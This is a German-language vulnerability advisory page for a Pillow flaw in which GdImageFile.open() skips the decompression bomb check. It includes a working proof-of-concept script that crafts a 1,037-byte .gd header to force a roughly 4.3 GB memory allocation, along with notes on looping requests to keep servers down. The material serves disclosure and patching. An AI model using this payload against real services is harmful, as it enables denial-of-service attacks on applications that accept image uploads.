Hoch

Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()`

  • Veröffentlicht: 06.07.2026
  • Aktualisiert: 11.10.2026 15:18

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

python
def _open(self) -> None:
    s = self.fp.read(1037)
    if i16(s) not in [65534, 65535]:
        raise SyntaxError("Not a valid GD 2.x .gd file")
    self._mode = "P"
    self._size = i16(s, 2), i16(s, 4)   # ← unsigned 16-bit; max 65535 each
    # NO _decompression_bomb_check() call here ←
    ...
    self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

python
load() → load_prepare() → Image.core.new("P", (65535, 65535))
# ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field Value
Maximum width from header 65,535 (unsigned 16-bit)
Maximum height from header 65,535 (unsigned 16-bit)
Maximum pixel count 65,535 × 65,535 = 4,294,836,225
DecompressionBombError threshold 178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio 24× above DecompressionBombError threshold
Memory at max dimensions ≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size 1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

python
# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched)
self._size = i32(header, 32), i32(header, 36)
Image._decompression_bomb_check(self.size)   # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

python
#!/usr/bin/env python3
"""
PoC: GdImageFile decompression bomb bypass
1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check
"""
import io, struct
from PIL import GdImageFile, Image

# Build minimal 1037-byte GD 2.x palette-mode header:
#   sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024)
sig          = struct.pack(">H", 0xFFFE)       # 65534 = GD 2.x magic
w            = struct.pack(">H", 65535)         # max width
h            = struct.pack(">H", 65535)         # max height
true_color   = b"\x00"                          # 0 = palette mode
tindex       = struct.pack(">I", 0xFFFFFFFF)    # > 255 = no transparency
colors_used  = b"\x00\x00"
palette_data = b"\x00" * 1024
header = sig + w + h + true_color + tindex + colors_used + palette_data
assert len(header) == 1037

# Confirm: standard Image.open() path BLOCKS this size
try:
    Image._decompression_bomb_check((65535, 65535))
except Image.DecompressionBombError as e:
    print(f"[BLOCKED] Image.open() path: {e}")

# Vulnerable path: GdImageFile.open() has NO bomb check
img = GdImageFile.open(io.BytesIO(header))
print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}")
print(f"         No _decompression_bomb_check called — 4.3 GB allocation not blocked")

# Trigger load_prepare() → Image.core.new("P", (65535, 65535))
try:
    img.load()
except OSError:
    print(f"[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted")

print(f"\n[MATH]   {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold")
print(f"[MATH]   Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970
pixels, could be decompression bomb DOS attack.
[BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P
         No _decompression_bomb_check called — 4.3 GB allocation not blocked
[INFO]   load() OSError (no pixel data) — but C-heap allocation already attempted

[MATH]   4,294,836,225 pixels = 24.0× error threshold
[MATH]   Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path File size Effect
Transient (header only) 1,037 bytes load_prepare() attempts 4.3 GB C allocation → OSError after spike
Persistent (full pixel data) ~4.3 GB load() completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

python
from PIL import GdImageFile

# Application accepts user-uploaded .gd files
img = GdImageFile.open(user_uploaded_file)   # succeeds — no bomb check
img.load()                                    # triggers 4.3 GB C-heap allocation

Impact

  • Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
  • Confidentiality: None
  • Integrity: None
  • Authentication required: No — any public endpoint accepting image uploads is affected
  • User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pillow < 12.3.0 12.3.0

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-789
Plattform
Python (PyPI)
Paket
pillow
Veröffentlicht
06.07.2026
Aktualisiert
11.10.2026 15:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-2256 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-phj9-mv4w-65pm - CC BY 4.0

Schwachstellenhistorie: pillow

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (81) im Archiv
Einträge insgesamt
81
Erste → letzte
04.2014 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
1

Verteilung nach Schweregrad

  • Kritisch 10
  • Hoch 53
  • Mittel 16
  • Niedrig 1
  • Nicht bewertet 1

Veröffentlichungen pro Jahr

  1. 2017: 1
  2. 2018: 0
  3. 2019: 1
  4. 2020: 10
  5. 2021: 20
  6. 2022: 8
  7. 2023: 3
  8. 2024: 2
  9. 2025: 1
  10. 2026: 23

früher: 12

Schweregrad:
  1. Hoch · 7.5 CVE-2026-59200 >= 5.1.0, < 12.3.0 12.3.0
  2. Pillow `GdImageFile._open()`: image dimensions accepted without `_decompression_bomb_check()` dieser Eintrag
    Hoch · 7.5 CVE-2026-55380 < 12.3.0 12.3.0
  3. Hoch CVE-2026-42311 >= 10.3.0, < 12.2.0 12.2.0
  4. Hoch · 7.5 CVE-2026-40192 >= 10.3.0, < 12.2.0 12.2.0
  5. Hoch CVE-2026-25990 >= 10.3.0, < 12.1.1 12.1.1
  6. Hoch · 7.1 CVE-2025-48379 >= 11.2.0, < 11.3.0 11.3.0
  7. Hoch · 6.7 CVE-2024-28219 < 10.3.0 10.3.0
  8. Kritisch · 8.1 CVE-2023-50447 < 10.2.0 10.2.0
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